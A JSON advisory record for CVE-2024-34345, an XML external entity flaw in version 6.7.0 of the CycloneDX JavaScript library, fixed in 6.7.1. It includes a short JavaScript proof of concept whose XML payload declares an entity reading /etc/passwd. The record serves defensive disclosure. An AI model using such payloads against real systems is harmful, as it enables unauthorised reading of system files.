{"id":"CVE-2024-34345","aliases":["CVE-2024-34345","GHSA-38gf-rh2w-gmj7"],"related":[],"kind":"vulnerability","state":"published","title":"@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability","summary":"The CycloneDX JavaScript library contains the core functionality of OWASP CycloneDX for JavaScript. In 6.7.0, XML External entity injections were possible, when running the provided XML Validator on arbitrary input. This issue was fixed in version 6.7.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"The CycloneDX JavaScript library contains the core functionality of OWASP CycloneDX for JavaScript. In 6.7.0, XML External entity injections were possible, when running the provided XML Validator on arbitrary input. This issue was fixed in version 6.7.1.","source":"cvelist"},{"lang":"en","text":"### Impact\n\nXML External entity injections could be possible, when running the provided XML Validator on arbitrary input.\n\n#### POC\n\n```js\nconst {\n  Spec: { Version },\n  Validation: { XmlValidator }\n} = require('@cyclonedx/cyclonedx-library');\n\nconst version = Version.v1dot5;\nconst validator = new XmlValidator(version);\nconst input = `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE poc [\n  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n<bom xmlns=\"http://cyclonedx.org/schema/bom/1.5\">\n  <components>\n    <component type=\"library\">\n      <name>testing</name>\n      <version>1.337</version>\n      <licenses>\n        <license>\n          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->\n        </license>\n      </licenses>\n    </component>\n  </components>\n</bom>`;\n\n// validating this forged(^) input might lead to unintended behaviour\n// for the fact that the XML external entity would be taken into account.\nvalidator.validate(input).then(ve => {\n  console.error('validation error', ve);\n});\n```\n\n### Patches\n\nThis issue was fixed in `@cyclonedx/cyclonedx-library@6.7.1 `.\n\n\n\n### Workarounds\n\nDo not run the provided XML validator on untrusted inputs.\n\n### References\n\n* issue was introduced via <https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063>.","format":"markdown","source":"ghsa"},{"lang":"es","text":"La librería JavaScript CycloneDX contiene la funcionalidad principal de OWASP CycloneDX para JavaScript. En 6.7.0, las inyecciones de entidades externas XML eran posibles al ejecutar el validador XML proporcionado en entradas arbitrarias. Este problema se solucionó en la versión 6.7.1.","source":"nvd"}],"published":"2024-05-08T19:55:37.000Z","modified":"2026-09-10T03:50:13.068Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"rating":"HIGH"}],"cwes":["CWE-611"],"affected":[{"ranges":[{"version":"= 6.7.0","status":"affected"}],"vendor":"CycloneDX","product":"cyclonedx-javascript-library","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"6.7.0","status":"affected","fixed":"6.7.1"}],"ecosystem":"npm","package":"@cyclonedx/cyclonedx-library","purl":"pkg:npm/%40cyclonedx/cyclonedx-library","source":"ghsa"}],"references":[{"url":"https://github.com/CycloneDX/cyclonedx-javascript-library/security/advisories/GHSA-38gf-rh2w-gmj7","tags":["web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063","tags":["web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/CycloneDX/cyclonedx-javascript-library/commit/5e5e1e0b9422f47d2de81c7c4064b803a01e7203","tags":["web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34345","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/CycloneDX/cyclonedx-javascript-library","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-05-09T15:59:54.797Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-34345","url":"https://www.cve.org/CVERecord?id=CVE-2024-34345","licence":"CVE Terms of Use","modified":"2024-08-02T02:51:09.775Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-38gf-rh2w-gmj7","url":"https://github.com/advisories/GHSA-38gf-rh2w-gmj7","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:13.068Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-34345","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34345","licence":"Public domain","modified":"2026-06-17T07:33:13.120Z"}],"updatedAt":"2026-11-25T22:58:40.174Z","epss":{"score":0.00925,"percentile":0.61476,"date":"2026-12-01T12:00:22.000Z"}}